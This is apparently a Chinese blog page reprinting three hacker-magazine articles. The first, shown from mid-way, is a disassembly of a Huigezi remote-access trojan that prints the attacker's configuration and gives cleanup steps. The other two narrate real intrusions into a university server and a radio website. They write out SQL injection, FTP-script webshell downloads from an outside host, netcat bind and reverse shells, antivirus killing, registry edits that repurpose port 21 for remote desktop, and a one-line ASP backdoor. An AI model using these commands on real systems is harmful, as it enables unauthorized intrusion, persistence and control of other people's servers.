004A0584 . 8B18 MOV EBX,DWORD PTR DS:[EAX]


004A0586 . FF53 0C CALL DWORD PTR DS:[EBX+C] ; message.004178FC


004A0589 . 8B45 C4 MOV EAX,DWORD PTR SS:[EBP-3C]


004A058C . BA B0084A00 MOV EDX,004A08B0


004A0591 . E8 1248F6FF CALL 00404DA8


004A0596 . 75 07 JNZ SHORT 004A059F ; 判断相关标志


004A0598 . C605 3CBF4A00>MOV BYTE PTR DS:[4ABF3C],1


004A059F > 8D4D C0 LEA ECX,DWORD PTR SS:[EBP-40]


……(省略N行代码)


到这里我们就可以获取出放木马者的基本信息了,我这个木马作者配置文件的相关信息如下:





***********************************************************************************


Config


10395


softck.oicp.net


8b4ca58172880bbb


$(ProgramFiles)\message\message.exe


83


服装纺织


服装纺织


8000


0


1


0


1


1


1


1


COM+ Server


COM+ Server


传输客户端和服务器之间的 NET SEND 和 Alerter 服务消息。此服务与 Windows Messenger 无关。如果服务停止


0


1080


guest


huigezi


0


8080


0


***********************************************************************************


我连了一下放木马者的网上,是用的花生壳,主机还没有开机没连上。


执行到返回后,一路F8看看这里:


004A5DA2 . /75 13 JNZ SHORT 004A5DB7


004A5DA4 . |6A 40 PUSH 40 ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL


004A5DA6 . |68 D05E4A00 PUSH 004A5ED0 ; |Title = “提示”


004A5DAB . |68 D85E4A00 PUSH 004A5ED8 ; |Text = “灰鸽子远程控制服务端安装成功!”


004A5DB0 . |6A 00 PUSH 0 ; |hOwner = NULL


004A5DB2 . |E8 DD19F6FF CALL 00407794 ; \MessageBoxA


004A5DB7 > \A1 BC894A00 MOV EAX,DWORD PTR DS:[4A89BC]


004A5DBC . 8038 00 CMP BYTE PTR DS:[EAX],0


004A5DBF . 74 0E JE SHORT 004A5DCF


004A5DC1 . 803D 90BF4A00>CMP BYTE PTR DS:[4ABF90],0


004A5DC8 . 75 05 JNZ SHORT 004A5DCF


004A5DCA . E8 79F2FFFF CALL 004A5048


004A5DCF > 6A 00 PUSH 0 ; /ExitCode = 0


004A5DD1 . E8 5E10F6FF CALL 00406E34 ; \ExitProcess


004A5DD6 . EB 53 JMP SHORT 004A5E2B


004A5DD8 > E8 B7D5FFFF CALL <ChkOS> ; 这里判断操作系统是否为NT


004A5DDD . 3C 01 CMP AL,1


004A5DDF . 75 45 JNZ SHORT <isWin9x>


004A5DE1 . C605 84BF4A00>MOV BYTE PTR DS:[4ABF84],1


004A5DE8 . A1 188D4A00 MOV EAX,DWORD PTR DS:[4A8D18]


004A5DED . 8038 01 CMP BYTE PTR DS:[EAX],1


004A5DF0 . 75 2D JNZ SHORT 004A5E1F


004A5DF2 . A1 9C8F4A00 MOV EAX,DWORD PTR DS:[4A8F9C]


004A5DF7 . 8B00 MOV EAX,DWORD PTR DS:[EAX]


004A5DF9 . E8 5EF0F5FF CALL 00404E5C


004A5DFE . 8B15 E48C4A00 MOV EDX,DWORD PTR DS:[4A8CE4] ; message.004ABF50


004A5E04 . 8902 MOV DWORD PTR DS:[EDX],EAX ; message.004ABF50


004A5E06 . A1 E48C4A00 MOV EAX,DWORD PTR DS:[4A8CE4]


004A5E0B . C740 04 90554>MOV DWORD PTR DS:[EAX+4],004A5590


004A5E12 . A1 E48C4A
00 MOV EAX,DWORD PTR DS:[4A8CE4] ; 如果是WinNT系统则启动服务


004A5E17 . 50 PUSH EAX ; /pServiceTable = message.004ABF50


004A5E18 . E8 CF2AFBFF CALL 004588EC ; \StartServiceCtrlDispatcherA


004A5E1D . EB 0C JMP SHORT 004A5E2B


004A5E1F > E8 28F6FFFF CALL 004A544C


……


看看都有些什么吧:- ).


004A5E58 . FFFFFFFF DD FFFFFFFF


004A5E5C . 0F000000 DD 0000000F


004A5E60 . 77 77 77 2E 6>ASCII “www.huigezi.net”,0


004A5E70 . 49 45 78 70 6>ASCII “IExplore.exe”,0


004A5E7D 00 DB 00


004A5E7E 00 DB 00


004A5E7F 00 DB 00


004A5E80 . 56 49 50 32 2>ASCII “VIP2.0_MUTEX”,0


004A5E8D 00 DB 00


004A5E8E 00 DB 00


004A5E8F 00 DB 00


004A5E90 . FFFFFFFF DD FFFFFFFF


004A5E94 . 04000000 DD 00000004


004A5E98 . 2E 4E 45 57 0>ASCII “.NEW”,0


004A5E9D 00 DB 00


004A5E9E 00 DB 00


004A5E9F 00 DB 00


004A5EA0 . 53 6F 66 74 5>ASCII “SoftWare\Microso”


004A5EB0 . 66 74 5C 57 6>ASCII “ft\Windows\Curre”


004A5EC0 . 6E 74 56 65 7>ASCII “ntVersion\Run”,0


如果是直接用OD运行程序的程序,程序就会先获取相关配置信息,然后如果是WinNT系统则启动相关服务,然后自己自身退出。好了,到这里就比较简单的分析出放木马者的信息,因为我自已连不上放木马者的网站,再则对灰鸽子的配置也不懂,因此就此打住,如果你有兴趣的话,可以联系我得到目标文件。下面是大概的清理方法(我的系统重做了,因此只写我自己记得的部分):


删除进程中的iexplorer进程(我从来不用IE上网的),停止服务里的COM+ server服务,然后删除服务,删除相关文件。

偷天换日之入侵陕西某高校内部网

0

分类 : 技术文摘 | 发表时间 10-01-2006

最近黑防上面有很多如何入侵高校网站的文章,大都是进行的注入攻击。呵呵,为了迎合大众所趋,我也进入一些高校网站玩了玩。这不,这次就发现了一个陕西高校里面一个网站的注入漏洞,不过获取最高权限还真费了一翻劲。
第一步:发现注入漏洞
在它的一个新闻显示页面的联接上加一个”‘”,呵呵,可以注入!看看是什么权限的,在后面在加一个 and user>0

显示有dbo的字样,晕,竟然可以拥有SA的权限,唉,真不知道管理员是怎么搞的!
先不管这些,拿出明小子的domain,现在的版本到了3.5了(和其他注入工具相比,domain用起来还是比较顺手的,不过命令回显有点糟糕)。

既然发现了注入点,那么开始干活吧!

第二步:上传文件
既然现在有了sa的权限,那么就可以执行管理员权限的命令了。不过因为一般工具的回显都很糟糕(至少我用NBSI,domain等都有这样的问题),所以还是先搞个WebShell上去再说吧。首先需要找到web根目录,不然WebShell放哪啊?!在domain的命令行下多dir几次就可以找到了,根据一般人的习惯,根目录不会太深,取的文件名和网站多少有点关系。估计没有几个管理员会把根目录名取得很怪异并且放在层次很深的地方(这是管理员都有的通病,怕麻烦,图方便,可是方便了自己也方便了我们,嘿嘿)。很快就可以找到根目录为 d:/ccs。

那么就上传WebShell 吧!可是这几个注入工具的上传功能都有点问题,要么传小文件没问题,传大了就不行了!要么根本没传上去了,现成的工具没法上传了,咋办?不怕不怕,总不能在一棵树上吊死吧!用ftp下载!在domain的命令行下依次输入下列语句:

echo open showff.51.net>>c:\ftp
echo showff>>c:\ftp
echo 123456>>c:\ftp
echo cd public_html>>c:\ftp
echo get WebShell.asp d:\ccs\index_admin.asp>>c:\ftp
echo bye>>c:\ftp

当然首先你要有一个FTP的空间,我用的虎翼的FTP,速度很快。这样在服务器c盘上就生成了一个名为ftp的文件内容就是刚输入的东东。命令行下输入ftp -s:c:\ftp,点击执行,这样一个 WebShell就下载到我们可爱的肉鸡上了。浏览器输入地址查看进入我们的WebShell 里面去,我们下载的海洋2006,功能强大,好用.

到现在为止,如果只是想活动WebShell的话似乎就够了,海阳的WebShell可以干很多事情了。但是我们的目标是进一步获取更大的权限。

第三步:偷天换日更换服务
用WebShell上传一个nc,然后在domain的命令行里面执行 nc-e cmd.exe –l –p 43958,在自己的电脑上执行telnet xxx.xxx.edu.cn 43958
没有任何反应,显示为”不能连接到主机”这样的字样。很好,很正常,服务器里面没有杀毒软件和防火墙软件才怪了。为了进一步证实这点,在domain里面执行netstat –a,根据返回结果我又telnet了几个打开的端口.

其中80端口和21端口开了,都可以访问到,其他的端口根本没法使用!
那么就用pslist和pskill把相关的杀毒软件和防火墙关了呗!呵呵,当然我也这么做了,但事实上没那么简单。这台服务器上虽然有瑞星防火墙,但是关了之后当我再次telnet远处的nc时根本没有反应,这是为什么呢?(沉思了几秒)呵呵,其实很简单的,因为这是一个学校的里面的内部网站,八成在这台服务器的周围存在着其他类型的防火墙或者网关之类的东西,只允许外部访问这台服务器的80和21端口。
可是80和21端口都被占用了,难道我们就没法使用我们自己的木马或者获取3389远程控制权吗?非也!看我来施展偷天换日大法!
首先我们要意识到80端口必须存在不然很快就会被发现被黑,那么只能拿21端口下手了。一般只是管理员使用文件上传而已,暂时可以不被发现的。用net start命令查看发现对方使用的Serv-U的FTP服务器。
Step one:设法使Serv-U服务禁止,这样它就不能开机自动运行而占用21端口了。方法如下:编辑一个reg文件,内容如下:
REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
“Start”=dword:00000004

注意REGEDIT4下面要有一空行。Start为2是自动,3是手动,4是禁止。这和服务里面的设置是一一对应的。保存为a.reg文件,用WebShell上传至服务器的d:/ccs/index/a.reg,使用domain运行 regedit /s d:/ccs/index/a.reg 这样Serv-U服务就被禁止了。随后用在domain里面使用命令net stop serv-u将现有的ftp进程关掉。
Step two:修改Terminal远程登录的端口号。原本是3389的,现在要改为21。可以编辑注册表修改,也可以直接运行3389端口修改器类似这样的程序。我使用x3389程序修改。直接上传至服务器,在domain里面执行x3389.exe 21即可。随后设法开启3389服务,网上有很多这样的方法,这里不说了。如果想使Terminal服务总是开机自动运行,还需要编辑一reg文件内容如下:
REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
“Start”=dword:00000002

保存为b.reg,上传服务器并运行regedit /s d:/ccs/index/b.reg。如果嫌开Terminal服务麻烦,干脆直接传个Radmin或者其他什么远程控制软件设置端口为21不就得了吗?
Step three:重启服务器。上传个reboot工具,执行重启。这是为了Terminal服务需要的。如果使用其他木马可以不考虑重启。
重启后,在用domain运行net start ,发现Serv-U不见了,呵呵!那么,现在就可以大摇大摆的进入服务器了!这里我随便上传了一个nc试试效果,执行命令为nc –e cmd.exe –l –p 21,然后在本地执行telnet xxx.xxx.edu.cn 21,返回结果。

总结:
其实,只要把原有的FTP禁掉,空出21端口来,那其他的事情也就好做了。主要是开始如何察觉到它的周围防火墙的情况以及允许通过的端口。了解了这些,服务器还不是任我们鱼肉吗?当然,为了保证肉鸡的长久性,稳定性和不被发现性,最好使用隧道技术通过.


作者: jokerfox
来 源: 《黑客防线》

入侵中VBS的灵活使用

0

分类 : 技术文摘 | 发表时间 08-01-2006

来这个城市快两年了,无用过时的垃圾课程,名目繁多的考试。让人感觉到大学生活的两个字“不爽”。只有一个音乐电台陪我度过了两年无聊的大学生活。
近日,去它的网站逛了逛,大脑一发热,决定给她做个安全测试。网页是htm形式的,在上面乱点了一阵。没有发现使用动态页面的地方。用SUPERSCAN扫了一下,发现机子开了80和8080端口(安全意识还不错)系统方面应该没有什么问题(最起码在我看来)。
记得以前看过一个动画,讲的是如何注入htm形式的网站。其实,说白了也就是在htm里找带有asp之类的地方,不知道它是不是存在这个问题。半天工夫之后,还真让我给找到了一个使用asp的地方,随手加了一个单引号,返回错误。
依据返回的信息说明是SQL Server,看来不妙!网站使用的是独立服务器,因为用ip可以直接访问网站。用NBSI检测了一下这个连接,我靠!竟然是SA权限。

当时开始的时候,我是想先下载一个NC在NBSI里执行命令,然后再反向连接过来,这样就可以得到系统权限了。具体操作是用ECHO命令写一个ftp.txt。但是,我在输入命令之后发现结果并不像我想的那样顺利。当我输入一条echo命令发现竟然执行了7次。我的命令是echo open ftp.horizon.com>>F:\web\wsad\horizon.txt(F:\web为网站的根目录)。但是,结果却是写了7次,如果这样下载文件肯定不会成功。

不知大家注意过没有?在用NBSI执行命令的时候如果勾选了尝试返回结果,执行命令就会很慢。所以,这里为了提高执行命令的速度,就不要勾选尝试返回结果。这里由于不能把open ftp.horizon.com成功写入horizon.txt。所以,得另辟它路。
前面没成功,接着我想到了<%execute request(“1”)%>这个经典中的经典。如果能把它写入web目录就好办多了。现在<%execute request(“1”)%>就像是过街老鼠人人喊打,处境悲惨。即使有被打的危险,也还是要过街。但是,这里却有一个问题就是在NBSI里执行时,文件中的%被过滤了,少了%,废物一个。
当时我想了一个办法,既然它过滤了%,那么我就找它没有过滤掉的字符。例如“*”,这样我就可以先把<*execute request(“1”)*>写入文件,然后再把文件中的*换成%不就可以了。年轻人嘛,说干就干。不过这里要用到几个脚本。写文件的脚本horzion.vbs,命令格式为cscript horizon.vbs“要写的东西“objectfile”,内容为。

上面文件需要用echo命令把它写到服务器上***.vbe或***.vbs,然后再用这个vbs写我们要的文件,上面文件中类似于:“,%,&:和回车符是不能直接作为参数传递给脚本文件的。所以,我们这里还需要一个替换文件horizon1.vbs,作用就是替换特定字符串了。
这里简单解释一下:on error resume next是一个容错语句,至关重要,不管后面的程序发生什么意外,整个程序都将继续执行下去,直至结束。其次是IF语句,为了防止多条语句重复向文件写入相同的内容,这里加了一个标志若x=1才执行写文件,写完马上把x赋值2。这里可能有人会问为什么在每条语句后都加个“:”,其实,这是为了防止同一行有多条相同语句的情况,保证程序的顺利执行。
这样程序就不能正常执行了。如果想把:“,%,&,回车符直接作为参数传递给脚本文件,这里可以看出回车被“==”所替换,双引号被**替换,&被—替换,%被@@替换,在程序开始之前,我们先把文件open.ftp.horizon.com转换成可以被horizon.vbs接受的格式。用脚本转换horizon.vbs。命令格式为:
cscript horizon1.vbs 源文件 目标文件。


在本机执行cscript horizon1.vbs horizon.txt horiozn1.txt。其中horizon.txt文件中的内容为一句话后门<%execute request(“1”)%>。horizon1.txt文件中的内容为转换之后的horizon.vbs的ECHO代码。
我们在NBSI的那边NB Commander中一句一句执行上面的命令,等执行完之后,就会在对方的系统目录下生成一个文件horizon.vbe接着执行命令:
cscript writefile.vbe “<@@execute request(**1**)@@.>”F:\web\wsad\horizon.asp
这样一来我们就把一句话后门成功地写进了对方WEB目录了,相应的地址就是:http://www.***.com/wsad/horizon.asp。然后在把post.htm的form action指向该地址就OK了。
小提示:当我们在给脚本文件传递参数的时候,如果参数中带有空格的时候,就得用两个双引号将其括起来。

这样一来一个WebShell就到手了,这里为了防止其他意外情况,我在 horizon.asp文件中加了一句验证if request(“id”)=“horizon” then。如果在没有加参数id=horizon的情况下访问该页面的时候,只会显示一个空页面。在一定程度上可以保护我的战果哦!
不过现在看来拿下这个WebShell还真是费了一翻周折,不过最终还是搞到手了。继而想借此WebShell做点文章,但是不料发现这台机子设置的还是蛮BT的。晕,我狂晕,晕过之后再醒过来。
接着net user命令成功完成。再来个net start,发现有Serv-u,好东西!接下来一口气输入了n个命令,此时情报已经收集的差不多了。情报到手,准备开战,此战中立功最大的莫过于cacls了。其实这个命令对于高手们来说早都用滥了。不过为了照顾像我一样的菜菜们,这里稍作解释。cacls这个命令可以解除系统对目录的浏览限制。至于其具体用法,大家可以字cmd下输入cacls /?了解。
本来认为有了Serv-u之后,提权就不会有多难了。但是,事实证明我错了。这个Serv-u对于各种攻势都不感冒,我最终是无功而返,看来管理员还是蛮勤快的,将补丁都打上了。
东方不亮,西方亮。此路不通,另觅它路,难不成要吊死在一棵树上。开始的时候就想下个nc.exe进去。但未成功,片刻的休息之后,我停止的引擎又再次飞快的转动起来。
WebShell上传nc.exe还算顺利,因为机子上的瑞星早被我用ntsd –c -q -p PID给干掉了。先在本地nc -vv -l -p 80监听,然后再用nc.exe反向连接过来就OK。不过开始的时候,我还是犯了一个常识性错误,当时我没有多想就用WebShell反向连接过来的。因为WebShell本身只有iusr权限,所以我们反向连接过来的也只有iusr权限喽!因为这个,我当时被搞了一头雾水,开始怎么也想不明白?后来才恍然大悟过来啊!不过,幸好我“反应”算迅速,没有再按照原来的思路走下去。上面我都已经说了,这里不能用WebShell,要用NBSI,因为NBSI里反向过来的是administrator权限。呵呵!(注意哦)
nc 222.90.***.244 -r 80 -e cmd .exe
这里 222.90.***.244是我的ip。顺利得到了对方的一个Shell(这个Shell可是administrator权限)。^O^
之后我还试着尝试了另外几个端口,结果是都可以正常的反向连接过来,至此我并没有再继续下去。至于刚开始时的失败,我后来才发现原因是因为用horizon.vbe写的那个下载文件失败了。下载的文件为0字节。开始并没有注意到这点,后来才发现,很郁闷!看来做事千万马虎不得。
最后总结这次入侵的经历,其实最终能成功也是有一些偶然,假设这台服务器如果是台虚拟主机而不是台独立的服务器,那么SQL就不可能是SA权限。继而后面的许多工作就不会顺利下去。其次,成功的另外一个因素就是灵活的脚本应用,不然一句话后门就写不进去,接着后面的工作就都是白搭,不过庆幸的是最后还是搞下了。


作者: Horizon
来 源: 《黑客
防线》

无觅相关文章插件,快速提升流量